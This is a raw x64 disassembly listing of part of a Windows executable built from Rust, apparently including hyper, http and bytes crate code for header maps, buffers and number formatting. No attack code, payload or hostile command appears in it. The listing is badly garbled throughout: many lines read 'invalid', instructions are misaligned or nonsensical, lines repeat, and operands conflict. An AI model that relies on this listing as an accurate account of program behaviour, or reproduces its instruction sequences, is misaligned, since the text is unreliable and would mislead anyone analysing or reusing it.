mov rcx, r14
call fcn.140109710
mov r9, qword [rsp + 0x28]
jmp 0x140093e48
mov rcx, r14
mov rbx, rdx
mov rdx, rsi
mov r8, rdi
call fcn.140109710
mov r9, qword [rsp + 0x28]
mov rdx, rbx
mov rsi, qword [r9 + 0xe8]
jmp 0x140093f25
mov r8d, 1
mov rcx, r14
mov rdx, rsi
call fcn.140109710
mov rcx, qword [rsp + 0x28]
mov rsi, qword [rcx + 0xe8]
jmp 0x140093f53
mov r8d, 2
mov rcx, r14
call fcn.140109710
mov r10, qword [rsp + 0x28]
mov rdx, qword [r10 + 0xe8]
jmp 0x1400940c8
mov rcx, qword [rsp + 0x38]
mov rdx, rsi
mov r8, r14
mov r9d, ebp
call fcn.1401097b0
mov r10, qword [rsp + 0x28]
mov rax, qword [r10 + 0xd8]
mov rdx, qword [r10 + 0xe8]
sub rax, rdx
cmp rax, 1
jbe case.0x14007337a.230
mov rax, qword [r10 + 0xe0]
mov word [rax + rdx], 0xa0d
add rdx, 2
mov qword [r10 + 0xe8], rdx
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rbx + 0x20]
mov rdi, qword [rbx + 0x28]
mov qword [rbx + 0x28], 0
test rdi, rdi
je 0x140094895
add rsi, 0x30
jmp 0x14009487b
mov rax, qword [rsi - 0x18]
mov rdx, qword [rsi - 0x10]
mov r8, qword [rsi - 8]
mov rcx, rsi
call qword [rax + 0x10]
add rsi, 0x68
dec rdi
je 0x140094895
mov rax, qword [rsi + 0x10]
test rax, rax
je 0x140094860
lea rcx, [rsi + 0x28]
mov rdx, qword [rsi + 0x18]
mov r8, qword [rsi + 0x20]
call qword [rax + 0x10]
jmp 0x140094860
mov rsi, qword [rbx + 0x38]
mov rdi, qword [rbx + 0x40]
mov qword [rbx + 0x40], 0
test rdi, rdi
je 0x1400948cb
add rsi, 0x38
nop
mov rax, qword [rsi - 0x18]
mov rdx, qword [rsi - 0x10]
mov r8, qword [rsi - 8]
mov rcx, rsi
call qword [rax + 0x10]
add rsi, 0x48
dec rdi
jne 0x1400948b0
mov qword [rbx], 0
mov rax, qword [rbx + 0x50]
test rax, rax
je 0x14009494f
mov rcx, qword [rbx + 0x48]
lea rdx, [rax - 1]
movabs r8, 0x3fffffffffffffff
and r8, rdx
mov rdx, rcx
cmp r8, 7
jb 0x14009493b
inc r8
mov r9, r8
and r9, 0xfffffffffffffff8
lea rdx, [rcx + r9*4]
xor r10d, r10d
movdqa xmm0, xmmword [0x1401127e0]
nop word cs:[rax + rax]
movdqu xmmword [rcx + r10*4], xmm0
movdqu xmmword [rcx + r10*4 + 0x10], xmm0
add r10, 8
cmp r9, r10
jne 0x140094920
cmp r8, r9
je 0x14009494f
lea rax, [rcx + rax*4]
nop
mov dword [rdx], 0xffff
add rdx, 4
cmp rdx, rax
jne 0x140094940
mov r14, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
mov r15, qword [rsp + 0x50]
mov rax, qword [rsp + 0x178]
cmp rax, 2
mov rcx, qword [rsp + 0x28]
je 0x140094a19
lea rdx, [rsp + 0x190]
mov rsi, qword [rsp + 0x180]
mov r12, qword [rsp + 0x188]
test rax, rax
je 0x1400949f9
mov rax, qword [r12 + 0x10]
dec rax
and rax, 0xfffffffffffffff0
lea rcx, [rsi + rax]
add rcx, 0x10
call qword [r12 + 0x68]
mov rdx, qword [rsp + 0x190]
mov rax, qword [r12 + 0x10]
dec rax
and rax, 0xfffffffffffffff0
lea rcx, [rsi + rax]
add rcx, 0x10
call qword [r12 + 0x80]
mov rax, qword [rsp + 0x180]
lock dec qword [rax]
mov rcx, qword [rsp + 0x28]
jne 0x140094a19
mov rcx, qword [rsp + 0x180]
mov rdx, qword [rsp + 0x188]
call fcn.140005050
jmp 0x140094a14
mov rcx, rsi
call qword [r12 + 0x68]
mov rdx, qword [rsp + 0x190]
mov rcx, rsi
call qword [r12 + 0x80]
mov rcx, qword [rsp + 0x28]
sub byte [rcx - 0x7d], cl
inc byte [rdx]
cmp r14, 2
jne 0x140094b07
cmp qword [rcx + 0xc0], 0
je 0x140094a3e
add rcx, 0xc0
call fcn.140035fe0
mov rcx, qword [rsp + 0x28]
mov qword [rcx + 0xc0], rdi
mov qword [rcx + 0x90], 5
add byte [rax - 0x75], cl
test byte [rax + rbp*2], ah
add dword [rax], eax
add byte [rax - 0x39], cl
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x75], cl
jl 0x140094a87
cmp byte [rax + 0xb8bf], al
add byte [rdx], cl
add byte [rax - 0x75], cl
test byte [rax + rbp*2], ah
add dword [rax], eax
add byte [rax - 0x39], cl
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x75], cl
jl 0x140094a87
cmp byte [rax + 0xb8bf], al
add byte [rdx], cl
jb 0x140094a8d
cmp qword [rdi + 0xc8], 0
je 0x140094a8d
mov r8, qword [rdi + 0xc0]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x160]
cmp byte [rax], 2
jb 0x140094ac2
mov rsi, qword [rdi + 0x68]
lea rcx, [rsi + 0x18]
mov rax, qword [rsi]
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rdi + 0x88]
mov rax, qword [rdi + 0x70]
mov rdx, qword [rdi + 0x78]
mov r8, qword [rdi + 0x80]
call qword [rax + 0x10]
lea rcx, [rdi + 0xa8]
mov rax, qword [rdi + 0x90]
mov rdx, qword [rdi + 0x98]
mov r8, qword [rdi + 0xa0]
call qword [rax + 0x10]
mov rcx, rdi
call fcn.140052130
jmp 0x140094c62
mov rax, qword [rsp + 0x38]
movups xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x100], xmm0
movups xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0xf0], xmm0
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0xe0], xmm3
movaps xmmword [rsp + 0xd0], xmm2
movaps xmmword [rsp + 0xc0], xmm1
movaps xmmword [rsp + 0xb0], xmm0
lea rsi, [rcx + 0x10]
cmp dword [rcx + 0x10], 3
je 0x140094b65
mov rcx, rsi
call fcn.140052130
movaps xmm0, xmmword [rsp + 0x100]
movups xmmword [rsi + 0x50], xmm0
movaps xmm0, xmmword [rsp + 0xf0]
movups xmmword [rsi + 0x40], xmm0
movdqa xmm0, xmmword [rsp + 0xb0]
movdqa xmm1, xmmword [rsp + 0xc0]
movdqa xmm2, xmmword [rsp + 0xd0]
movdqa xmm3, xmmword [rsp + 0xe0]
movdqu xmmword [rsi + 0x30], xmm3
movdqu xmmword [rsi + 0x20], xmm2
movdqu xmmword [rsi + 0x10], xmm1
movdqu xmmword [rsi], xmm0
mov rax, qword [rsp + 0x168]
mov qword [rax], r14
mov qword [rax + 8], rdi
mov qword [rax + 0x10], r15
mov rdi, qword [rsp + 0x38]
cmp byte [rdi + 0xb8], 0xa
jb 0x140094bf5
cmp qword [rdi + 0xc8], 0
je 0x140094bf5
mov r8, qword [rdi + 0xc0]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x160]
cmp byte [rax], 2
jb 0x140094c2a
mov rsi, qword [rdi + 0x68]
lea rcx, [rsi + 0x18]
mov rax, qword [rsi]
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rdi + 0x88]
mov rax, qword [rdi + 0x70]
mov rdx, qword [rdi + 0x78]
mov r8, qword [rdi + 0x80]
call qword [rax + 0x10]
lea rcx, [rdi + 0xa8]
mov rax, qword [rdi + 0x90]
mov rdx, qword [rdi + 0x98]
mov r8, qword [rdi + 0xa0]
call qword [rax + 0x10]
mov rcx, qword [rdi + 0xd0]
call fcn.1400031e0
jb 0x140094c51
idiv bh
jb 0x140094c51
idiv bh
movaps xmm6, xmmword [rsp + 0x1d0]
movaps xmm7, xmmword [rsp + 0x1e0]
add rsp, 0x1f8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov r8d, 2
mov rcx, r14
call fcn.140109710
mov r10, qword [rsp + 0x28]
add byte [rbx + rcx*4 + 0x54], cl
and al, 0x28
mov rdx, qword [r10 + 0xe8]
jmp 0x140094826
invalid
invalid
invalid
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
add eax, 0xad2f8
add byte [rcx + rcx*4 - 0x17], cl
mov rcx, r13
mov rdx, qword [rsp + 0x118]
call fcn.1401082d0
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
loope case.0x1400dc119.237
or al, byte [rax]
mov rcx, r13
mov rdx, qword [rsp + 0x130]
call fcn.1401082d0
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, rax
mov rdx, qword [rsp + 0x170]
call fcn.1401082d0
invalid
invalid
invalid
invalid
fidiv dword [0xcd554cff]
add eax, 0xad2cb
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, rax
mov rdx, qword [rsp + 0x118]
call fcn.1401082d0
invalid
invalid
invalid
xor eax, 0x8d4c0007
add eax, 0x95bb4
invalid
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
add byte [rcx + rcx*4 - 0x17], cl
mov rcx, r13
call fcn.1401082d0
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, r13
call fcn.1401082d0
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
call fcn.1401082d0
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, r13
mov ecx, ebp
movabs byte [0x358ae8e9894c000a], al
invalid
mov ecx, ebp
call fcn.1401082d0
mov byte [rsp + 0x1a0], al
mov qword [rsp + 0x80], rsi
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xfff9d274
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xfff9d274
mov qword [rsp + 0x88], rax
lea rax, str.unexpected_request_version:
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0xb8], 1
mov qword [rsp + 0xd0], 0
rol byte [rax], 1
add byte [rax], al
add byte [rax], al
add byte [rax], al
rol byte [rax], 1
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0xc0], rdi
mov qword [rsp + 0xc8], 1
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1_role.rs
lea rcx, [rsp + 0xb0]
call fcn.140108280
sbb dh, byte [rax + 9]
add byte [rax - 0x73], cl
mov word [rax + rsi*4], fs
add byte [rax], al
add al, ch
int 0x34
invalid
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov qword [rsp + 0x20], rax
lea rcx, str.size_overflows_MAX_SIZE
movabs eax, dword [0x9593b0d8d4c000a]
add byte [rbp + rcx*4 + 0x44], cl
and al, 0x37
movabs eax, dword [0x9593b0d8d4c000a]
add byte [rbp + rcx*4 + 0x44], cl
and al, 0x37
mov edx, 0x17
call fcn.140108600
invalid
lea rax, [rsp + 0x110]
mov qword [rsp + 0x40], rax
lea rax, [fcn.140012f00]
dec dword [rax - 0x77]
and al, 0x48
dec dword [rax - 0x77]
and al, 0x48
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rax
lea rax, [0x140141790]
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0xb8], 2
mov qword [rsp + 0xd0], 0
mov qword [rsp + 0xc0], rbx
mov qword [rsp + 0xc8], 2
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
pushfq
and al, 0xc0
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rcx*8], ah
add byte [rax], al
add byte [rdx], al
add al, byte [rax]
add byte [rax], al
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
add al, byte [rax]
add byte [rax], al
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
or al, byte [rax]
lea rcx, [rsp + 0xb0]
call fcn.140108280
xor dh, byte [rdi + rax]
invalid
xor dh, byte [rdi + rax]
add byte [rbp + rcx*4 + 5], cl
jrcxz case.0x140079503.121
lea r8, [0x140129338]
or dword [rax], eax
mov edx, 0xf
mov rcx, rdi
add byte [rax], al
add byte [rax - 0x77], cl
stc
call fcn.140108340
invalid
call fcn.140010b00
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
lodsb al, byte [rsi]
or al, byte [rax]
mov qword [rsp + 0x20], rax
lea rcx, str.size_overflows_MAX_SIZE
movabs al, byte [0xa9ca70d8d4c000a]
invalid
movabs al, byte [0xa9ca70d8d4c000a]
add byte [rbp + rcx*4 + 0x44], cl
and al, 0x37
lea ecx, [0x14013eb28]
lea r8, [rsp + 0x37]
and al, 0x37
mov edx, 0x17
call fcn.140108600
mov ecx, 1
mov rdx, rdi
cli
cli
call fcn.140107fc0
mov ecx, 1
mov rdx, rsi
call fcn.140107fc0
mov qword [rsp + 0x110], r15
lea rax, [rsp + 0x140]
mov qword [rsp + 0x40], rax
lea rax, [0x1400ea0f0]
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x110]
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x58], rax
lea rax, str.cannot_advance_past__remaining_:___
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0xb8], 2
mov qword [rsp + 0xd0], 0
mov qword [rsp + 0xc0], rbx
mov qword [rsp + 0xc8], 2
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_body_body.rs
lea rcx, [rsp + 0xb0]
call fcn.140108280
mov ecx, 8
mov edx, 0x18
call fcn.140107fe0
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
jmp 0x140094dba
mov eax, dword [rcx]
mov rcx, rax
inc rcx
je 0x140094ff3
lea rdx, [rax + rax]
cmp rdx, rcx
cmova rcx, rdx
movabs r8, 0x19999999999999a
cdq
add dword [rcx], esi
ror byte [rcx + rdi - 0x3f], cl
cdq
add dword [rcx], esi
ror byte [rcx + rdi - 0x3f], cl
setb dl
cmp rcx, 5
mov edi, 4
add byte [rax], al
add byte [rax + 0xf], cl
stc
add byte [rax], al
add byte [rax + 0xf], cl
stc
mov rcx, rdi
shl rcx, 4
lea r8, [rcx + rcx*4]
shl edx, 3
test rax, rax
je 0x140094fc2
mov rcx, qword [rsi + 8]
shl rax, 4
or byte [rax - 0x3f], r9b
loopne 0x140094fb1
lea rax, [rax + rax*4]
lea eax, [rax + rax*4]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x50], rax
mov eax, 8
jmp 0x140094fc4
invalid
add dh, byte [rcx]
ror byte [rax - 0x77], 0x44
and al, 0x48
xor eax, eax
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x28]
lea r9, [rsp + 0x40]
lea ecx, [rsp + 0x40]
call fcn.14004a610
cmp qword [rsp + 0x28], 0
jne 0x140094ffa
invalid
sbb cl, byte [rax - 0x75]
and al, 0x30
mov rax, qword [rsp + 0x30]
mov qword [rsi + 8], rax
mov qword [rsi], rdi
add rsp, 0x58
invalid
pop rax
pop rax
pop rdi
pop rsi
ret
xor ecx, ecx
call fcn.140107fc0
mov rcx, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x30]
xor byte [rax - 0x75], cl
push rsp
and al, 0x38
mov rdx, qword [rsp + 0x38]
call fcn.140107fc0
int3
lea eax, [0x140177ce4]
invalid
movsxd rax, dword [r8 + rax*4]
add rax, r8
jmp rax
mov rax, qword [rcx + 0x18]
mov r8, rax
sub r8, rdx
jb 0x1400950b7
mov qword [rcx + 0x18], r8
add qword [rcx + 0x10], rdx
add rsp, 0x88
ret
add rcx, 8
add rsp, 0x88
jmp 0x140092db0
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x30], eax
jmp 0x1400950db
mov edx, 0x23
call fcn.140108350
mov qword [rsp + 0x30], r8
and al, 0x30
lea rax, [rsp + 0x28]
mov qword [rsp + 0x38], rax
lea rax, [0x1400ea0f0]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x50], rax
lea rax, str.cannot_advance_past__remaining_:___
lea eax, [0x14014ef70]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 2
and al, 0x60
add al, byte [rax]
add byte [rax], al
and al, 0x60
add al, byte [rax]
add byte [rax], al
mov qword [rsp + 0x78], 0
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x38]
mov qword [rsp + 0x68], rax
cmp byte [rax - 0x77], cl
and al, 0x68
mov qword [rsp + 0x70], 2
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_body_body.rs
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0xac300
lea rcx, [rsp + 0x58]
and al, 0x58
call fcn.140108280
invalid
int3
int3
mov qword [rsp + 0x38], rcx
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
lea rdx, [0x1401415d0]
sub byte [rax - 0x73], cl
adc eax, 0xac464
mov r8d, 6
call qword [rax + 0x18]
mov qword [rsp + 0x28], rsi
sub byte [rax + 0x48302444], cl
mov dword [rsp + 0x20], 0
and byte [rax], al
add byte [rax], al
invalid
sub byte [rax + 0x48302444], cl
mov dword [rsp + 0x20], 0
and byte [rax], al
add byte [rax], al
invalid
and byte [rax], al
add byte [rax], al
add dh, al
and al, 0x31
add byte [rbp + rcx*4 + 5], cl
cmp eax, 0x48000ac3
lea ecx, [rsp + 0x20]
mov byte [rsp + 0x31], 0
lea r8, [0x1401414d0]
lea rcx, [rsp + 0x20]
lea rdx, [rsp + 0x38]
push rsp
and al, 0x38
call fcn.140016790
clc
dec dword [rax - 0x75]
mov rcx, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x20]
movzx edx, byte [rsp + 0x30]
test rcx, rcx
je 0x140095209
mov al, 1
test dl, dl
jne 0x14009520b
mov rsi, qword [rsp + 0x28]
and al, 0x28
cmp rcx, 1
jne 0x1400951ef
invalid
sub eax, 0x31247c80
add byte [rsi + riz - 0xa], dh
xor al, 4
cmp byte [rsp + 0x31], 0
jl 0x1400951e9
xor dword [rax], eax
je 0x1400951ef
test byte [rsi + 0x34], 4
jne 0x1400951ef
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x140143ec0]
in al, dx
or al, byte [rax]
in al, dx
or al, byte [rax]
mov r8d, 1
add byte [rax], al
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
jne 0x14009520b
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14014d458]
mov r8d, 1
add byte [rax], al
add byte [rax], al
call qword [rax + 0x18]
jmp 0x14009520b
mov eax, edx
test al, al
setne al
add rsp, 0x40
add esp, 0x40
add esp, 0x40
pop rsi
ret
sub dword [rbx - 0x64], ebx
xchg edx, eax
adc eax, 0xba489a29
out dx, eax
movsd dword [rdi], dword [rsi]
add eax, dword [rsi]
mov dword [rbp - 0x333c0e21], 0xcccccccc
fcompi st(1)
ret
int3
int3
int3
int3
int3
int3
fcompi st(1)
ret
push rsi
push rdi
sub rsp, 0xb8
mov rax, qword [rcx]
mov ecx, dword [rdx + 0x34]
test cl, 0x10
jne 0x14009532a
test cl, 0x20
jne 0x14009537a
mov r9, rdx
mov rcx, qword [rax]
mov eax, 0x27
lea r8, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899_m
cmp rcx, 0x2710
jb 0x140095406
mov r11d, 0x27
invalid
add byte [rax], al
movabs r10, 0x346dc5d63886594b
mov rax, rcx
mul r10
shr rdx, 0xb
invalid
or ebp, dword [rcx - 0x3e]
adc byte [rdi], ah
add byte [rax], al
mov esi, ecx
invalid
sub esi, eax
imul edi, esi, 0x147b
invalid
jnp 0x1400952bc
add byte [rax], al
shr edi, 0x13
imul eax, edi, 0x64
sub esi, eax
movzx esi, si
lea rax, [r11 - 4]
invalid
movzx edi, word [r8 + rdi*2]
mov word [rsp + r11 + 0x34], di
mov dword [rsp + r11 + 0x34], edi
mov dword [rsp + r11 + 0x34], edi
xor al, 0x41
movzx esi, word [rax + rsi*2]
mov bh, 0x34
invalid
movzx esi, word [r8 + rsi*2]
mov bh, 0x34
jo 0x140095330
mov word [rsp + r11 + 0x36], si
mov dword [rsp + r11 + 0x36], esi
mov r11, rax
cmp rcx, 0x5f5e0ff
mov rcx, rdx
mov ecx, edx
mov ecx, edx
ja 0x140095290
cmp rdx, 0x63
jbe 0x14009530e
movzx ecx, dx
shr ecx, 2
imul ecx, ecx, 0x147b
shr ecx, 0x11
imul r10d, ecx, 0x64
sub edx, r10d
retf 0xe9c1
movzx edx, dx
movzx edx, word [r8 + rdx*2]
mov word [rsp + rax + 0x36], dx
add rax, 0xfffffffffffffffe
mov rdx, rcx
mov rcx, r9
cmp rdx, 0xa
jae 0x140095418
or dl, 0x30
mov byte [rsp + rax + 0x37], dl
dec rax
jmp 0x140095426
mov rax, qword [rax]
mov r9d, 0x81
mov r8, rax
nop word cs:[rax + rax]
add byte [rax], al
add byte [rcx - 0x77], cl
shl byte [rsi + 0x2e], 0xf
invalid
mov rcx, r9
shr r8, 4
mov r9d, eax
and r9b, 0xf
lea r10d, [r9 + 0x30]
lea r11d, [r9 + 0x57]
cmp r9b, 0xa
movzx r9d, r10b
movzx r10d, r11b
cmovb r10d, r9d
mov byte [rsp + rcx + 0x36], r10b
lea r9, [rcx - 1]
cmp rax, 0x10
mov rax, r8
jae 0x140095340
jmp 0x1400953c8
mov rax, qword [rax]
mov r9d, 0x81
mov r8, rax
nop word cs:[rax + rax]
mov rcx, r9
shr r8, 4
mov r9d, eax
and r9b, 0xf
lea r10d, [r9 + 0x30]
lea r11d, [r9 + 0x37]
cmp r9b, 0xa
stc
or al, byte [rbp + 0xf]
mov dh, 0xca
stc
or al, byte [rbp + 0xf]
mov dh, 0xca
movzx r10d, r11b
cmovb r10d, r9d
mov byte [rsp + rcx + 0x36], r10b
lea r9, [rcx - 1]
cmp rax, 0x10
mov rax, r8
jae 0x140095390
add rcx, 0xfffffffffffffffe
add ecx, 0xfffffffe
cmp rcx, 0x81
jae 0x14009545c
mov eax, 0x81
sub rax, r9
add rcx, rsp
add rcx, 0x38
mov qword [rsp + 0x28], rax
and al, 0x28
and al, 0x28
mov qword [rsp + 0x20], rcx
lea r8, [0x1401721e0]
mov r9d, 2
add byte [rax], al
add byte [rax - 0x77], cl
invalid
mov dl, 1
jmp case.0x140093e62.15
add byte [rax], al
add byte [rax - 0x77], cl
sal dword [rdx + 0x4846eb01], 1
mov edx, ecx
mov rdx, rcx
cmp rdx, 0x63
cmp edx, 0x63
ja 0x1400952e4
jmp 0x14009530e
movzx edx, word [r8 + rdx*2]
push rax
mov word [rsp + rax + 0x36], dx
add rax, 0xfffffffffffffffe
lea rdx, [rsp + rax]
add rdx, 0x38
add edx, 0x38
add edx, 0x38
mov r8d, 0x27
sub r8, rax
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], rdx
mov dword [rsp + 0x20], edx
mov dword [rsp + 0x20], edx
push rsp
and al, 0x20
mov r8d, 1
mov dl, 1
xor r9d, r9d
call fcn.140013020
nop
add rsp, 0xb8
pop rdi
pop rsi
ret
lea r8, [0x140114220]
add eax, 0x7edbd
mov edx, 0x80
call fcn.1401082c0
int3
add byte [rcx + 0x63], cl
movsxd rax, dword [r8 + rax*4]
add al, 0x80
add rax, r8
jmp rax
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xac093
or al, byte [rax]
mov r8d, 4
add byte [rax], al
add rsp, 0x40
pop rsi
jmp rax
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x140141454]
or al, byte [rax]
mov r8d, 6
add rsp, 0x40
pop rsi
jmp rax
mov dword [rsp + 0x38], ecx
mov rcx, qword [rdx + 0x20]
mov r9, qword [rdx + 0x28]
sub byte [rax - 0x73], cl
add eax, 0xac07e
mov r8d, 4
jmp 0x140095529
mov rsi, rdx
mov rdx, rax
call qword [r9 + 0x18]
mov qword [rsp + 0x28], rsi
mov byte [rsp + 0x30], al
mov qword [rsp + 0x20], 0
mov byte [rsp + 0x31], 0
lea r8, [0x140141540]
lea rcx, [rsp + 0x20]
lea rdx, [rsp + 0x38]
call fcn.140016790
mov rcx, qword [rsp + 0x20]
movzx edx, byte [rsp + 0x30]
test rcx, rcx
je 0x1400955c7
mov al, 1
test dl, dl
jne 0x1400955c9
mov rsi, qword [rsp + 0x28]
cmp rcx, 1
jne 0x1400955ad
cmp byte [rsp + 0x31], 0
je 0x1400955ad
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14014d458]
mov r8d, 1
call qword [rax + 0x18]
jmp 0x1400955c9
mov eax, edx
test al, al
setne al
add rsp, 0x40
pop rsi
ret
pop rbp
ret
in al, dx
xor byte [rax - 0x73], cl
insb byte [rdi], dx
and al, 0x30
mov qword [rbp - 8], 0xfffffffffffffffe
mov rsi, r8
mov r14, rdx
invalid
mov ebx, ecx
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, r8
call fcn.1400dfbe0
test rax, rax
je 0x140095923
invalid
mov rdi, rax
mov rcx, rax
mov rdx, r14
mov r8, rsi
call fcn.140106250
movzx eax, byte [0x140182310]
mov edx, 0x18
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x140095930
movabs byte [0x4c3b74c085480004], al
mov dword [rax], esi
lea rcx, [0x14013d280]
mov qword [rax + 8], rcx
mov byte [rax + 0x10], bl
adc byte [rax - 1], cl
ror byte [rax - 0x7d], 0xc4
xor byte [rbx + 0x5f], bl
adc byte [rax - 1], cl
ror byte [rax - 0x7d], 0xc4
xor byte [rbx + 0x5f], bl
pop rsi
pop r14
pop rbp
ret
mov ecx, 1
mov rdx, rsi
call fcn.140107fc0
mov ecx, 8
mov edx, 0x18
call fcn.140107fe0
mov qword [rbp - 0x10], r14
mov ecx, 8
mov edx, 0x18
call fcn.140107fe0
ud2
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rdx + 0x30]
lea rdx, [0x14013d280]
mov rcx, qword [rbp - 0x10]
call fcn.1400dd460
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
int3
int3
test ecx, ecx
je 0x140095a9a
cmp ecx, 1
jne 0x140095af1
adc byte [rax - 0x77], cl
mov word [rax + rax*4], fs
add byte [rax], al
add byte [rax - 0x73], cl
add qword [rax - 0x7d], rcx
lea ecx, [rax + 1]
add rax, 8
ror byte [rax], 0x4c
lea eax, [0x14012bdd8]
ror byte [rax], 0x4c
lea eax, [0x14012bdd8]
mov qword [rsp + 0x70], r8
lea r8, [rsp + 0x80]
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x68], r8
add byte [rax], al
mov qword [rsp + 0x68], r8
push 0xffffffffe2058d4c
mov edx, 0x894c000a
invalid
invalid
lea r8, [0x140141505]
mov qword [rsp + 0x58], r8
and al, 0x58
lea r8, [0x14012b210]
lea eax, [0x14012b210]
mov qword [rsp + 0x50], r8
mov qword [rsp + 0x48], rax
and al, 0x48
and al, 0x48
lea rax, [0x1401414fc]
mov qword [rsp + 0x38], rax
and al, 0x38
lea rax, [0x14012bdf8]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x28], ecx
mov dword [rsp + 0x28], ecx
and al, 0x28
mov qword [rsp + 0x60], 0xe
mov qword [rsp + 0x40], 9
mov qword [rsp + 0x20], 5
and al, 0x20
add eax, 0x48000000
